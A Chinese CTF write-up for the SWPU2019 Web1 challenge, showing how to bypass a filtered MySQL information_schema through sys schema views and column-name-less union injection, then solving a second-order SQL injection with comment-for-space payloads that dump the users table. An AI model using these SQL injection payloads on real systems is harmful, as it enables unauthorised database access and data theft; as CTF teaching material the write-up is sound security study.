[SWPU2019]Web1

0x00 知识点

bypass information_schema

参考链接:

https://www.anquanke.com/post/id/193512

进行bypass之前先了解一下mysql中的information_schma这个库是干嘛的,在SQL注入中它的作用是什么,那么有没有可以替代这个库的方法呢?

information_schema:

简单来说,这个库在mysql中就是个信息数据库,它保存着mysql服务器所维护的所有其他数据库的信息,包括了数据库名,表名,字段名等。

​ 在注入中,infromation_schema库的作用无非就是可以获取到table_schema,table_name,column_name这些数据库内的信息。

MySQL5.7的新特性:

由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。

mysql默认是关闭InnoDB存储引擎的

注入中在mysql默认情况下就可以替代information_schema库的方法

schema_auto_increment_columns,该视图的作用简单来说就是用来对表自增ID的监控。

schema_auto_increment_columns视图的作用,也可以发现我们可以通过该视图获取数据库的表名信息

想通过注入获取到没有自增主键的表的数据怎么办?

schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer

payload:

 schema_auto_increment_columns 
 ?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
schema_table_statistics_with_buffer 
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+

获取字段名

获取第一列的列名 ?id=-1' union all select*from (select * from users as a join users b)c--+

获取次列及后续列名

?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+

限制:
mysql ≥ 5.7版本

般要超级管理员才可以访问sys

2:无列名注入

参考链接:
https://www.jianshu.com/p/6eba3370cfab

在 mysql => 5 的版本中存在库information_schema,记录着mysql中所有表的结构,通常,在mysql sqli中,我们会通过此库中的表去获取其他表的结构,即表名,列名等。但是这个库也会经常被WAF过滤。当我们通过暴力破解获取到表名后,该如何进行下一步利用呢?
在information_schema中,除了SCHEMATA,TABLES,COLUMNS有表信息外,高版本的mysql中,还有INNODB_TABLES及INNODB_COLUMNS中记录着表结构。
正常查询:

使用union查询:

就可以继续使用数字来对应列,如2对应了表里面的用户名:

当  ` 不能使用的时候,使用别名来代替:

反单引号表示列名或者表名

在注入中查询多个列:

语句
一般都是:

(select `2` from (select 1,2,3 union select * from table_name)a)  //前提是要知道表名 

((select c from (select 1,2,3 c union select * from users)b))    1,2,3是因为users表有三列,实际情况还需要猜测表的列的数量

0x01解题

这是一个留言板的二次注入

登录了之后在发布广告处存在sql注入漏洞,我们输入的内容在输入后没有漏洞,当我们发布广告后查看广告详情的时候就造成了二次注入,从而产生了注入。

题目环境过滤了空格,我们使用/**/来进行绕过过滤了or,因此我们无法使用order by 以及information_schema这个库因为过滤了注释符,所以查询语句的最后我们要闭合单引号

本题在但是比赛中
bypass information_schema
是利用的
 sys.schema_auto_increment_columns 库来进行查询
导致网上很多wp都是这样写的。。
实际上本题无法使用

buuoj的平台没有 sys.schema_auto_increment_columns 这个库
而且一般要超级管理员才可以访问sys

所以一般还可以用这个方法

在buuctf环境中这个也不行
还有一种方法:

前提是users表存在
但是这个方法也不行 ,polygon和lingstring被过滤
那么我们看似有多种解法,其实BUU环境下这个题目我们只能进行无列名注入

首先,我们先确定列数:
1'//union//select//1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/

接下来就逐一的增加或者是减少列数就行了,一个一个的试,最后发现列数有22列,显示位在2,3位
注意,在无列名注入的时候 一定要和表的列数相同 不然会报错 慢慢试。。最后发现users里有三列

我们是采用的子查询的方式,子查询是将一个查询语句嵌套在另一个查询语句中,在特定的情况下,一个查询语句的条件需要另一个查询语句来获取,内层查询语句的查询结果,可以为外层查询语句提供查询条件。
这里我们将users这个表里面的查询的结果提供给外部查询,同时把列名转换成a,b,这样我们后面就直接查询a,b列就可以获得结果

-1'/**/union/**/select/**/1, (select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

直接查询b列试试

-1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

参考链接:
https://www.cnblogs.com/tlbjiayou/p/12014926.html

原文地址:https://www.cnblogs.com/wangtanzhi/p/12241499.html